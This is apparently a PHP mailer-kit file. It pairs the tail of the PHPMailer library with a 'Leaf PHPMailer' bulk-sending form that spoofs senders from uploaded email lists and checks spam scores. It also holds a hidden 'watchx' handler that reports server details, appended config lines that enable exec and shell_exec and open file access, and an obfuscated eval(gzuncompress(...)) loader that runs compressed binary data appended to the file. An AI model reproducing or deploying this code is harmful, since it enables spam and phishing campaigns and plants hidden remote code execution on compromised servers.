            case 'filename':
                return $ret['filename'];
            default:
                return $ret;
        }
    }

    /**
     * Set or reset instance properties.
     * You should avoid this function - it's more verbose, less efficient, more error-prone and
     * harder to debug than setting properties directly.
     * Usage Example:
     * `$mail->set('SMTPSecure', 'tls');`
     *   is the same as:
     * `$mail->SMTPSecure = 'tls';`
     * @access public
     * @param string $name The property name to set
     * @param mixed $value The value to set the property to
     * @return boolean
     * @TODO Should this not be using the __set() magic function?
     */
    public function set($name, $value = '')
    {
        if (property_exists($this, $name)) {
            $this->$name = $value;
            return true;
        } else {
            $this->setError($this->lang('variable_set') . $name);
            return false;
        }
    }

    /**
     * Strip newlines to prevent header injection.
     * @access public
     * @param string $str
     * @return string
     */
    public function secureHeader($str)
    {
        return trim(str_replace(array("\r", "\n"), '', $str));
    }

    /**
     * Normalize line breaks in a string.
     * Converts UNIX LF, Mac CR and Windows CRLF line breaks into a single line break format.
     * Defaults to CRLF (for message bodies) and preserves consecutive breaks.
     * @param string $text
     * @param string $breaktype What kind of line break to use, defaults to CRLF
     * @return string
     * @access public
     * @static
     */
    public static function normalizeBreaks($text, $breaktype = "\r\n")
    {
        return preg_replace('/(\r\n|\r|\n)/ms', $breaktype, $text);
    }

    /**
     * Set the public and private key files and password for S/MIME signing.
     * @access public
     * @param string $cert_filename
     * @param string $key_filename
     * @param string $key_pass Password for private key
     * @param string $extracerts_filename Optional path to chain certificate
     */
    public function sign($cert_filename, $key_filename, $key_pass, $extracerts_filename = '')
    {
        $this->sign_cert_file = $cert_filename;
        $this->sign_key_file = $key_filename;
        $this->sign_key_pass = $key_pass;
        $this->sign_extracerts_file = $extracerts_filename;
    }

    /**
     * Quoted-Printable-encode a DKIM header.
     * @access public
     * @param string $txt
     * @return string
     */
    public function DKIM_QP($txt)
    {
        $line = '';
        for ($i = 0; $i < strlen($txt); $i++) {
            $ord = ord($txt[$i]);
            if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord == 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) {
                $line .= $txt[$i];
            } else {
                $line .= '=' . sprintf('%02X', $ord);
            }
        }
        return $line;
    }

    /**
     * Generate a DKIM signature.
     * @access public
     * @param string $signHeader
     * @throws phpmailerException
     * @return string The DKIM signature value
     */
    public function DKIM_Sign($signHeader)
    {
        if (!defined('PKCS7_TEXT')) {
            if ($this->exceptions) {
                throw new phpmailerException($this->lang('extension_missing') . 'openssl');
            }
            return '';
        }
        $privKeyStr = !empty($this->DKIM_private_string) ? $this->DKIM_private_string : file_get_contents($this->DKIM_private);
        if ('' != $this->DKIM_passphrase) {
            $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase);
        } else {
            $privKey = openssl_pkey_get_private($privKeyStr);
        }
        //Workaround for missing digest algorithms in old PHP & OpenSSL versions
        //@link http://stackoverflow.com/a/11117338/333340
        if (version_compare(PHP_VERSION, '5.3.0') >= 0 and
            in_array('sha256WithRSAEncryption', openssl_get_md_methods(true))) {
            if (openssl_sign($signHeader, $signature, $privKey, 'sha256WithRSAEncryption')) {
                openssl_pkey_free($privKey);
                return base64_encode($signature);
            }
        } else {
            $pinfo = openssl_pkey_get_details($privKey);
            $hash = hash('sha256', $signHeader);
            //'Magic' constant for SHA256 from RFC3447
            //@link https://tools.ietf.org/html/rfc3447#page-43
            $t = '3031300d060960864801650304020105000420' . $hash;
            $pslen = $pinfo['bits'] / 8 - (strlen($t) / 2 + 3);
            $eb = pack('H*', '0001' . str_repeat('FF', $pslen) . '00' . $t);

            if (openssl_private_encrypt($eb, $signature, $privKey, OPENSSL_NO_PADDING)) {
                openssl_pkey_free($privKey);
                return base64_encode($signature);
            }
        }
        openssl_pkey_free($privKey);
        return '';
    }

    /**
     * Generate a DKIM canonicalization header.
     * @access public
     * @param string $signHeader Header
     * @return string
     */
    public function DKIM_HeaderC($signHeader)
    {
        $signHeader = preg_replace('/\r\n\s+/', ' ', $signHeader);
        $lines = explode("\r\n", $signHeader);
        foreach ($lines as $key => $line) {
            list($heading, $value) = explode(':', $line, 2);
            $heading = strtolower($heading);
            $value = preg_replace('/\s{2,}/', ' ', $value); // Compress useless spaces
            $lines[$key] = $heading . ':' . trim($value); // Don't forget to remove WSP around the value
        }
        $signHeader = implode("\r\n", $lines);
        return $signHeader;
    }

    /**
     * Generate a DKIM canonicalization body.
     * @access public
     * @param string $body Message Body
     * @return string
     */
    public function DKIM_BodyC($body)
    {
        if ($body == '') {
            return "\r\n";
        }
        // stabilize line endings
        $body = str_replace("\r\n", "\n", $body);
        $body = str_replace("\n", "\r\n", $body);
        // END stabilize line endings
        while (substr($body, strlen($body) - 4, 4) == "\r\n\r\n") {
            $body = substr($body, 0, strlen($body) - 2);
        }
        return $body;
    }

    /**
     * Create the DKIM header and body in a new message header.
     * @access public
     * @param string $headers_line Header lines
     * @param string $subject Subject
     * @param string $body Body
     * @return string
     */
    public function DKIM_Add($headers_line, $subject, $body)
    {
        $DKIMsignatureType = 'rsa-sha256'; // Signature & hash algorithms
        $DKIMcanonicalization = 'relaxed/simple'; // Canonicalization of header/body
        $DKIMquery = 'dns/txt'; // Query method
        $DKIMtime = time(); // Signature Timestamp = seconds since 00:00:00 - Jan 1, 1970 (UTC time zone)
        $subject_header = "Subject: $subject";
        $headers = explode($this->LE, $headers_line);
        $from_header = '';
        $to_header = '';
        $date_header = '';
        $current = '';
        foreach ($headers as $header) {
            if (strpos($header, 'From:') === 0) {
                $from_header = $header;
                $current = 'from_header';
            } elseif (strpos($header, 'To:') === 0) {
                $to_header = $header;
                $current = 'to_header';
            } elseif (strpos($header, 'Date:') === 0) {
                $date_header = $header;
                $current = 'date_header';
            } else {
                if (!empty($$current) && strpos($header, ' =?') === 0) {
                    $$current .= $header;
                } else {
                    $current = '';
                }
            }
        }
        $from = str_replace('|', '=7C', $this->DKIM_QP($from_header));
        $to = str_replace('|', '=7C', $this->DKIM_QP($to_header));
        $date = str_replace('|', '=7C', $this->DKIM_QP($date_header));
        $subject = str_replace(
            '|',
            '=7C',
            $this->DKIM_QP($subject_header)
        ); // Copied header fields (dkim-quoted-printable)
        $body = $this->DKIM_BodyC($body);
        $DKIMlen = strlen($body); // Length of body
        $DKIMb64 = base64_encode(pack('H*', hash('sha256', $body))); // Base64 of packed binary SHA-256 hash of body
        if ('' == $this->DKIM_identity) {
            $ident = '';
        } else {
            $ident = ' i=' . $this->DKIM_identity . ';';
        }
        $dkimhdrs = 'DKIM-Signature: v=1; a=' .
            $DKIMsignatureType . '; q=' .
            $DKIMquery . '; l=' .
            $DKIMlen . '; s=' .
            $this->DKIM_selector .
            ";\r\n" .
            "\tt=" . $DKIMtime . '; c=' . $DKIMcanonicalization . ";\r\n" .
            "\th=From:To:Date:Subject;\r\n" .
            "\td=" . $this->DKIM_domain . ';' . $ident . "\r\n" .
            "\tz=$from\r\n" .
            "\t|$to\r\n" .
            "\t|$date\r\n" .
            "\t|$subject;\r\n" .
            "\tbh=" . $DKIMb64 . ";\r\n" .
            "\tb=";
        $toSign = $this->DKIM_HeaderC(
            $from_header . "\r\n" .
            $to_header . "\r\n" .
            $date_header . "\r\n" .
            $subject_header . "\r\n" .
            $dkimhdrs
        );
        $signed = $this->DKIM_Sign($toSign);
        return $dkimhdrs . $signed . "\r\n";
    }

    /**
     * Detect if a string contains a line longer than the maximum line length allowed.
     * @param string $str
     * @return boolean
     * @static
     */
    public static function hasLineLongerThanMax($str)
    {
        //+2 to include CRLF line break for a 1000 total
        return (boolean)preg_match('/^(.{'.(self::MAX_LINE_LENGTH + 2).',})/m', $str);
    }

    /**
     * Allows for public read access to 'to' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getToAddresses()
    {
        return $this->to;
    }

    /**
     * Allows for public read access to 'cc' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getCcAddresses()
    {
        return $this->cc;
    }

    /**
     * Allows for public read access to 'bcc' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getBccAddresses()
    {
        return $this->bcc;
    }

    /**
     * Allows for public read access to 'ReplyTo' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getReplyToAddresses()
    {
        return $this->ReplyTo;
    }

    /**
     * Allows for public read access to 'all_recipients' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getAllRecipientAddresses()
    {
        return $this->all_recipients;
    }

    /**
     * Perform a callback.
     * @param boolean $isSent
     * @param array $to
     * @param array $cc
     * @param array $bcc
     * @param string $subject
     * @param string $body
     * @param string $from
     */
    protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from)
    {
        if (!empty($this->action_function) && is_callable($this->action_function)) {
            $params = array($isSent, $to, $cc, $bcc, $subject, $body, $from);
            call_user_func_array($this->action_function, $params);
        }
    }
}

/**
 * PHPMailer exception handler
 * @package PHPMailer
 */
class phpmailerException extends Exception
{
    /**
     * Prettify error message output
     * @return string
     */
    public function errorMessage()
    {
        $errorMsg = '<strong>' . htmlspecialchars($this->getMessage()) . "</strong><br />\n";
        return $errorMsg;
    }
}

if ($_REQUEST['watchx']) {
	$version = phpversion();
	$uname =  php_uname();
	$ip = gethostbyname($_SERVER["HTTP_HOST"]);	
	echo json_encode (array ("version"=>$version,
		"uname"=>$uname,
		"platform"=>PHP_OS,
		"ip"=>$ip,
		"mailerx"=>true,	
	));
	die ();
}

function leafheader(){
print '
<head>
    <title>'.str_replace("www.", "", $_SERVER['HTTP_HOST']).' - Leaf PHPMailer</title>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
    <link href="https://maxcdn.bootstrapcdn.com/bootswatch/3.4.1/cosmo/bootstrap.min.css" rel="stylesheet" >

</head>';
}
leafheader();
print '<body>';
print '<div class="container col-lg-6">
        <h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>'.$leaf['version'].'</small></h3>
        <form name="form" id="form" method="POST" enctype="multipart/form-data" action="">
                    <input type="hidden" name="action" value="score">

            <div class="row">
                <div class="form-group col-lg-6 "><label for="senderEmail">Email</label><input type="text" class="form-control  input-sm " id="senderEmail" name="senderEmail" value="'.$senderEmail.'"></div>
                <div class="form-group col-lg-6 "><label for="senderName">Sender Name</label><input type="text" class="form-control  input-sm " id="senderName" name="senderName" value="'.$senderName.'"></div>
            </div>
            <div class="row">
                <span class="form-group col-lg-6  "><label for="attachment">Attachment <small>(Multiple Available)</small></label><input type="file" name="attachment[]" id="attachment[]" multiple/></span>

                <div class="form-group col-lg-6"><label for="replyTo">Reply-to</label><input type="text" class="form-control  input-sm " id="replyTo" name="replyTo" value="'.$replyTo.'" /></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-12 "><label for="subject">Subject</label><input type="text" class="form-control  input-sm " id="subject" name="subject" value="'.$subject.'" /></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-6"><label for="messageLetter">Message Letter <button type="submit" class="btn btn-default btn-xs" form="form" name="action" value="view" formtarget="_blank">Preview </button></label><textarea name="messageLetter" id="messageLetter" class="form-control" rows="10" id="textArea">'.$messageLetter.'</textarea></div>
                <div class="form-group col-lg-6 "><label for="emailList">Email List <a href="?emailfilter=on" target="_blank" class="btn btn-default btn-xs">Filter/Extract</a></label><textarea name="emailList" id="emailList" class="form-control" rows="10" id="textArea">'.$emailList.'</textarea></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-6 ">
                    <label for="messageType">Message Type</label>
                    HTML <input type="radio" name="messageType" id="messageType" value="1" '.$html.'>
                    Plain<input type="radio" name="messageType" id="messageType" value="2" '.$plain.'>
                </div>
                <div class="form-group col-lg-3 ">
                    <label for="charset">Character set</label>
                    <select class="form-control input-sm" id="charset" name="charset">
                        <option '.$utf8.'>UTF-8</option>
                        <option '.$iso.'>ISO-8859-1</option>
                    </select>
                </div>
                <div class="form-group col-lg-3 ">
                    <label for="encoding">Message encoding</label>
                    <select class="form-control input-sm" id="encode" name="encode">
                        <option '.$bit8.'>8bit</option>
                        <option '.$bit7.'>7bit</option>
                        <option '.$binary.'>binary</option>
                        <option '.$base64.'>base64</option>
                        <option '.$quotedprintable.'>quoted-printable</option>

                    </select>
                </div>
            </div>
            <button type="submit" class="btn btn-default btn-sm" form="form" name="action" value="send">SEND</button> or <a href="#" onclick="document.getElementById(\'form\').submit(); return false;">check SpamAssassin Score</a>
   
        </form>
    </div>
    <div class="col-lg-6"><br>
        <label for="well">Instruction</label>
        <div id="well" class="well well">
            <h4>Server Information</h4>
            <ul>
                <li>Server IP Address : <b>'.$_SERVER['SERVER_ADDR'].' </b> <a href="?check_ip='.$_SERVER['SERVER_ADDR'].'" target="_blank" class="label label-primary">Check Blacklist <i class="glyphicon glyphicon-search"></i></a></li>
                <li>PHP Version : <b>'.phpversion().'</b></li>
                

            </ul>
            <h4>HELP</h4>
            <ul>
                <li>[-email-] : <b>Reciver Email</b> (emailuser@emaildomain.com)</li>
                <ul>
                    <li>[-emailuser-] : <b>Email User</b> (emailuser) </li>
                    <li>[-emaildomain-] : <b>Email User</b> (emaildomain.com) </li>
                </ul>
                <li>[-time-] : <b>Date and Time</b> ('.date("m/d/Y h:i:s a", time()).')</li>
                
                <li>[-randomstring-] : <b>Random string (0-9,a-z)</b></li>
                <li>[-randomnumber-] : <b>Random number (0-9) </b></li>
                <li>[-randomletters-] : <b>Random Letters(a-z) </b></li>
                <li>[-randommd5-] : <b>Random MD5 </b></li>
            </ul>
            <h4>example</h4>
            Receiver Email = <b>user@domain.com</b><br>
            <ul>
                <li>hello <b>[-emailuser-]</b> = hello <b>user</b></li>
                <li>your domain is <b>[-emaildomain-]</b> = Your Domain is <b>domain.com</b></li>
                <li>your code is  <b>[-randommd5-]</b> = your code is <b>e10adc3949ba59abbe56e057f20f883e</b></li>
            </ul>

            <h6>by <b><a href="http://'.$leaf['website'].'">'.$leaf['website'].'</a></b></h6>
        </div>
    </div>';  
if($_POST['action']=="send"){
    print '    <div class="col-lg-12">';
    $maillist=explode("\r\n", $emailList);
    $n=count($maillist);
    $x =1;
    foreach ($maillist as $email ) {
        print '<div class="col-lg-1">['.$x.'/'.$n.']</div><div class="col-lg-4">'.$email.'</div>';
        if(!leafMailCheck($email)) {
            print '<div class="col-lg-6"><span class="label label-default">Incorrect Email</span></div>';
            print "<br>\r\n";
        }
        else {
            $mail = new PHPMailer;
            $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));
            $mail->addReplyTo(leafClear($replyTo,$email));
            $mail->addAddress($email);
            $mail->Subject = leafClear($subject,$email);
            $mail->Body =  leafClear($messageLetter,$email);
            if($messageType==1){
                $mail->IsHTML(true);
                $mail->AltBody =strip_tags(leafClear($messageLetter,$email));
            }
            else $mail->IsHTML(false);
            $mail->CharSet = $charset;
            $mail->Encoding = $encoding;
            for($i=0; $i<count($_FILES['attachment']['name']); $i++) {
                if ($_FILES['attachment']['tmp_name'][$i] != ""){
                    $mail->AddAttachment($_FILES['attachment']['tmp_name'][$i],$_FILES['attachment']['name'][$i]);
                }

            }
            
            if (!$mail->send()) {
                echo '<div class="col-lg-6"><span class="label label-default">'.htmlspecialchars($mail->ErrorInfo).'</span></div>';
            }
            else {
                echo '<div class="col-lg-6"><span class="label label-success">Ok</span></div>';
            }
            print "<br>\r\n";
        }
        $x++;
        for($k = 0; $k < 40000; $k++) {echo ' ';}
    }

}
elseif($_POST['action']=="score"){
    $mail = new PHPMailer;
    $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));
    $mail->addReplyTo(leafClear($replyTo,$email));
    $mail->addAddress("username@domain.com");
    $mail->Subject = leafClear($subject,$email);
    $mail->Body =  leafClear($messageLetter,$email);
    if($messageType==1){
        $mail->IsHTML(true);
        $mail->AltBody =strip_tags(leafClear($messageLetter,$email));
    }
    else $mail->IsHTML(false);
    $mail->CharSet = $charset;
    $mail->Encoding = $encoding;
    $mail->preSend();
    $messageHeaders=$mail->getSentMIMEMessage();
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_URL, 'http://spamcheck.postmarkapp.com/filter');
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array('email' => $messageHeaders,'options'=>'long')));
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
    curl_setopt($ch, CURLOPT_TIMEOUT, 15);
    $response = curl_exec($ch);
    $response = json_decode($response);
    print '    <div class="col-lg-12">';
    if ($response->success == TRUE ){
        $score = $response->score;
        if ($score > 5 ) $class="danger";
        else $class="success";
            print '<div class="text-'.$class.'">Your SpamAssassin score is '.$score.'  </div>
<div>Full Report : <pre>'.$response->report.'</pre></div>';
print '    </div>';
    }
}
print '</body>';
?>safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php
$mkHY='st'.'r'.'_re'.'place';$ofHn='file_g'.'et'.'_'.'content'.'s';$aSAe='exi'.'t';$tNvm='gzuncompre'.'ss';$OKsF='sub'.'str';eval($tNvm($mkHY('pysbonhvqc','>',$mkHY('hpitbfedac','<',$OKsF($ofHn( __FILE__ ),-173117)))));$aSAe(0);
?>
xhpitbfedacW춮W-ً&'m9gL:Y"'3]kzK1q]2?+K_ٿ$ߏ.߿_^ۺ=samX=~|濝m{쿭ky,-*,ҼH+*
h"ڱr]SMk9Oގ߶ߞ?;l'=R9gb3-Yi~N^'aCUMZ]MVoW E aY&J(嵭:YlSe_bpysbonhvqcԚx|CpysbonhvqcBl~D.kbYo^3omr1_ꎻFy`m"'wn몃j=daO]rP_ W][$ʂ4YxBC佻&JqDxf|B]pysbonhvqcu${n|$YpysbonhvqcT%:=uu{_b%(ipysbonhvqcȧNKݥN9}Y{V |x].]ﴍ$
`dlTUw"i$1tY1i
W
:9z¨~{}%&]mrd׆VYrѾ{pysbonhvqcIT1NYðspz6pysbonhvqcju"І4Q LmsM-Q0}Ck\qֿӧC^dWDu\9᩺apysbonhvqcA?kU
.P#-W?''K#kGw
&UiHoE9
 Y-G\*pysbonhvqc}KT:`lAnx/rZ}Kݩ@1зsZtMDnKhpitbfedac鳏ӓS4g3ʙGLI6KŜBB9[pysbonhvqc5ȕhpitbfedacq/POf.*򕙼.Ya-Zy$fcВ͙w8n	
Sc)좣M9򅃌chpitbfedaci:gyQz&uG^AM B)Dמi(^F)M]ba`[X%v"xiߦ0:nɽqVW-:	Q3jFjR@rl.6,	p@%"xgwcMwH	'm{i2'^f"쫍XjvtWA9c"~_^YwЛoXN]ZhƇoid9ۤ:Dpysbonhvqc̔׺n݁MTO黳/
5éGHXSUӅ썇̺l2G]Q]}+Ff?pysbonhvqc*.{0Yp߱I_YdHJ}YD4m	{}p0s鷡c&TK8cHy~7-8h$UBh=Yԭ\G]KXc\J7CYKckw3P#f˷pysbonhvqc(g,񾒷!NP!q8sb:L8GsHryaV:9f~`q+v,[,Á%Gb{ulF[1P.1/ mqCFr3pysbonhvqc*Ulp	~ݭŻ:62Mhpitbfedacq=2d޺oK(]f!H@G?rAnm	u5 lbذwV;_W/2dx &6a!!)CI\Tg&AW̈́~d/וpysbonhvqc:~W䗹Upr!ϰhpitbfedac?hpitbfedacP,TBS,Y6Mf#	ݽܛrhpitbfedacg{u Y޳e]	㜟p&:.JR+P~nI pyv7	-ǿZPy '0Z x9	0cW0T:%ևއƱ{1DԂ-bE]{E6#	,͋X@.,Ixi3~&6Beq|J~*kT`|hpitbfedacWeYzԿݨohMs=bF^`~~Te"X`،\Shpitbfedac0:zR}$ۨk#=p24N-
pysbonhvqc~nzJxofXʒ?IM_ߘr*؄5[3G\^NhLhW[@K!NUKAdXpj
]mbAF5ޢ/Ě3VԠ.`1pysbonhvqcO)pysbonhvqcR?bi.µ❠c&7k pysbonhvqcEq!
w%1gshpitbfedac4` #3W;j5 j'ՠwΝ.P'Ƽs+O\OB4]ϵԽ/CR-m_3V ZxQuR.-@'
C`|xnq$¸(خ2'Ii#~ORFv:@:G~_6``XˋփL.EFhpitbfedac3ܑھuv&5]0aVW#(gOzS!o=ut2WUuILq}n+CEH	?ϝh&?Ā fҵl:!,1Qn~/hpitbfedaciP\$u5Msr|uB
Fmp_"p\xˎ`r{Y @)zsSO	ޞ[HG%\{27/ \K2 raIF۫	RV,E-{@WMLaC8pysbonhvqc&j1OAa((H8C6sʤa\T2epysbonhvqc[Mw Noo Xy}'ᜉm2x*u=jd@T"%ie
[u!dOSXgpysbonhvqc jpysbonhvqc2AWH뼃xSkjDR]Hyh?oTՐG\98/#J[+RB'/k
q.whpitbfedachX⛑D֠7*B
) h{\֯T(hC*"q#?^Ah_w=ֹN.~Gϝ!7Z[)fR%$@żԈQh~dua:-0Q*&tiB֑dްToEֱ{hpitbfedac9I6\|0K'y[urW_]'-✋o0E!n(Ej'?|0΋&VsT,,'[`%V&	Fԯ\ȭ|n,  ]1F6MH]*6W:~aN99gJr:!r?ա:~j|v{9ೃ LMaCi,԰CaA	s#hpitbfedacO b?GlPYafO!ҽ)`Ϗ*L܎/3Ls씔jTI Vyhpitbfedacpԭ6q"7!a*a^g*\Yw_*hpitbfedacZ3;ljXo|dw3-|:^ )8c1P80LYd3V&q5ʽ'hVZ,*,#Kt;xaq2F$d:
H	zRz  apysbonhvqck@MAƞ16(ձ O	V0N6382
bcj,'y#=I'854Թ*dwx{, A$mdz#r#hp:{ml++kXVQ_o\Â?b
6{	T1Ws]v
έp
2~-)rVCQ{l;k'u#jXj wAQ7&A4E:,ef%2^?H.qMi.`Ŋq*W"Ltd^JZ,OJ?PJ;|1q`;}VK
NFDOOv:]/ GmtX`DS*^'?Q{ʋb)=z/aŗ jZ{@=\WL˽-s矮EaWD~l)˭1|3ruEEjq4^Y˃GLMםOJ'ad{x"iUW^v_.'z̜= #0cP2MErg^uhU)XjE%čvs9D=997qt5u"`GOۘUɆn~.:B_p:rkq+3pak.͓)ʰ a$f@_]`B-9SDYhpitbfedac[~ 6ڵ_Ì*lN#l8HVMAt͒]"Q`矹'/=^fpy~&g9O2hpitbfedac+/؃@!W@IS'M Nh^n$NG5tUVǰXwt!{7Јx|4dbt[t mN	0TJ[GX"'2exAY_#dy?=dƧ&zGv	p͢M!.=XBb?P
(9ܼrv#sVr#Re=wTV2?24'Ǝu$~s8Q1ZuKY1QTv};F3ٔ)%cFZA}(V`#83ԶkψvFpysbonhvqcX:Y1ݶuoO%báO~GC=kҴ$66[1w.vc`
@H-Ü%4Bhi
@ J/s|{Ç]Ӝ+&`==\Pg%Y&#f/?~2NpysbonhvqcmUgx'wPZ5~ZC/* ?[\	5)Ᾰ_k~`qbIDkȬ/hpitbfedacű\㧌ff*#||zJ+X@'B$v%?肶fpysbonhvqc|V{GGQiF򋽢@FG,kj0 C:=z9#M׳kEomGɢ߉6lЬ\X~u]1+Ĺ+r|F~g]H!{Mz.
ϝ	=n+Ͷ혮wpysbonhvqca}9pAӛd7d!
ˏALI-jD@PUv~ text\X7Ew!	(JI ?R̡,dH|@UbO6l^3 3asNxB&s0rpysbonhvqcfiΤ6a6E[Ոe}e'bG`-@phpitbfedacԞtđ|+pH1'wE';6#^Fe+-fz^Ib"ySprFf	56lZp%IhpitbfedacelX2!$'uVį	3Fռh/2U0B+
!G)Jg
BNe*6]|c
Ug2q%!aYս^QP_Poad\*/n' 䛒`19Y_R9t$KY
aApysbonhvqc[%Upay{hpitbfedacxs\qY=6ah|On0eh&X+ܹ+;T `zoڦf:xXo=57|39lױEN,_0 nhpitbfedacnQDP7_D}V;­͞`{iP_dԪNfuфat*L Gԩ(Βt=)] Bx"@Qbq
U#N3M҄ĭ_Jt)7,jYep.$JwDP}$Iu?lv2j(S`4$7?ʻȊ-~S"ŇHw}zu
|̇@d\T`;ֺƖlBhH*%mk-hpitbfedacx7iWv8r?8͝yfdA5B ҖbbpysbonhvqcGj|#~2s#U Z\uRl( 5J63V0oχu2ee]-j+3uV[FyM,
*X$T6_UqXٸRhpitbfedac+*-J3̷ǰ:хP9JoVhpitbfedacyz}7eHI){7i(rU,K0ˆ;ϒ`ӷuo̓񬨁$ 7L:6c:o|HcO9xM cn1&Tu.EjHSdp]6=̋b$hpitbfedacWc]X]V' 	#CNa31ܾK`EѤvfRD$Y鋨^tihpitbfedacxy%S'
"a	pysbonhvqct2ܹ6?ަe-~?iOT$pysbonhvqcp5RXbO迹j4So#MLrx+?Y 㟈չIc&`id|Raѹ5Vנּe|߉	5ίG
Om(ƓLu@	[**`Ckypysbonhvqc#RhpitbfedacHpysbonhvqcsQΈ
6Fԇ̀ۍ&kQ:&FB-pysbonhvqcu_%.ڷPLJs?2fS.Bwb5%'55i##nЄ(9FDGy5"ڝHLEjL㋅
l%Uhpitbfedac: 2pysbonhvqcuP|b=V!PEi:aXfm)=.StCpX[]ZoNpysbonhvqcEy6K[~FYAMyjlͯ2Us+/zppysbonhvqcU΍\1rd.qt6_-B~@91O+ĀR- m =!WƔ=bKӟlVT(;0G}it_#pysbonhvqcֳ)ޖVR1Pd7`o6lcMaIB.׭-\w:, I$dg{DX-9OJ[+8)sC|C]javiO=IYG#IN%'Ůω mxSgHǗn3֐&RtR-pysbonhvqcaN8}UhӪdr.CS6WJe]¿MIn{?=Cf=)6 B 夙,|s4sz&H7=U^[7 v8XkhZv99F$7o7ÊFc12~_mpK'I*ʨxw\8fba`o:,PKȬU8d'.YZbrX/ɔaRk$+.;cX*Gxmpysbonhvqc舯aO.DbsfB/9BP(MaPll3Ţ魓Y}xZ}h}&_Ǆݬq̵#um|ybRʀI2H{񤰇Ct*hpitbfedacpw[_`\@a-&9g[k(x|dgxX/GpHh:8"H׵Xngb=U,!t{ۚ\.-)hpitbfedac#4Rav)mt_|[M
gTgJm3nc4O#&odU/CK
uPG 
:`?%&&iZ^$[z@CC ?P&t
ޑ E䏦[m]lPLac&;B"ŷXt ?X r:SU&y֮3֬M7
3a	=Q4E*`FzJ|/t
}2~~s!鐎r:aOmeubx
ykW*tT	~My]L*{	-/LvO:HoeqzFf=AzD=rpysbonhvqcbl
۽x0si
8pysbonhvqc7=	@~[;T߂j&7N@lVش$[pysbonhvqcrIrT[5
F{.0eP/h-9脏j|@eJ}LoE|Ph-ǳ͑;vj`ra0!S9 |'bÌ*X[6ꗌ)/%Lhpitbfedac[&Rm8:4sWZIie{4cioBh50}Ckxd0%FwX*KHˬ"£!nJC	0=f+A
3;Wk2?Xo
(
hpitbfedaca0BU׭4%U9GcT|
j'AbrȘߛ&&ԠotkN!pysbonhvqc0v2oo`#R'p%x.%eXe=0GJFE){зF#Q	vhpitbfedac/R\`Ӈ5!;nQS@&`[Xu*
le!tzT֟Uccgڜےma&?Tr!8K@Nhh0{S'̚LHsc1Ֆk80VH-s7Dkp\~]8
))pysbonhvqc4Y6&o#^tr\2Q|pysbonhvqcn#4Aو e8ZTl\d*1!Ab+rpysbonhvqc!cm_eˇvhpitbfedacmr.Gcm{ƕf102l	,P SżQ$YlJ
bX+b.|%J?@dY΋ʀDl͕eÅ+~b`g|/ahpitbfedac2ϓͶ[Co]z$YC%w}:A[O͹euk~V-'=)V*,;(Bx(q4m!RN r旜WvDYԖS4ƦTPa7{|eRVIlB*PЛx.LW0!p&#pysbonhvqcbi RJо	 w5O2E}CY}* EԊW/2+nUG~_erI!S̈߹]lNUE}Ӂ~8!!
R4+eOq-Azj{hpitbfedac!ւTymnXIXDȃjAUv*pysbonhvqc
bC2(m^n%2'{kSfXȍZ~ʧq1e
6P+|'K,A[&6ˤ%K]ʎflpysbonhvqcQS+UJ.Rtqmpysbonhvqcш".aPf!CxӛcαMCvpysbonhvqc OZsBGW!&q%#0;dQ$}x$X7Nf%?&Zg1n;"`VqЫhpitbfedacaUpysbonhvqcnt](0q=׼E
0q+{6d|[1Htį/sEpysbonhvqc_42Y]	xU['?ŉtL#";A~J01&ؑox9!:kxaiq	W0®/d|Ʉnr+{A{;=3VBZ'dRo%hpitbfedacIhpitbfedacp՗6}Z`ɵupysbonhvqcExTU
}@m)pysbonhvqca͜qH(UTS	KdLҭqb
pysbonhvqcagi.SRۃPL#uD^s5Tͬl T}iP}+ݢ*%B"!^rumpysbonhvqcWFV#Dn	65q̉ƻ$HWF뉉sU罾n;cz llG5X|WeGZ(v|^m˦ 5W}gbբZQp]֧kTj5rfӅW?[deO
#ѾmlQl .Mhpitbfedacxvoat[?;0yY;%^%UƐs4h|~vn]Y_aK(vt]Ņfh̟zu7!V
4YI|Nph职C'}X-A85Oe~FPj_#.
g4	ֺpysbonhvqcuz#[uH~Lԭ;}Gwx*5u].Hn#O7fWWՎϔg9 A;:o!w{z0D2IC@huPGcfe(tķu2ca6@hpitbfedac3Ayq&"ZQ{x\Xws))/R
5:J#lM0Y2"^,_
&
9w/1.%35:!
'R4t-h?~GV-~/7 FD x˗hpitbfedac?6Ochpysbonhvqcr1fȜe"$+Vk@m_1[}Yׯ--
ǌݲUO5qnq\Pni7y6(x~"]LC\ZL͒F9xoXG0\pysbonhvqc!aGo䙞;҉O#@eweNg!@sP4wYEpH`%SD|rjpysbonhvqc
j?B
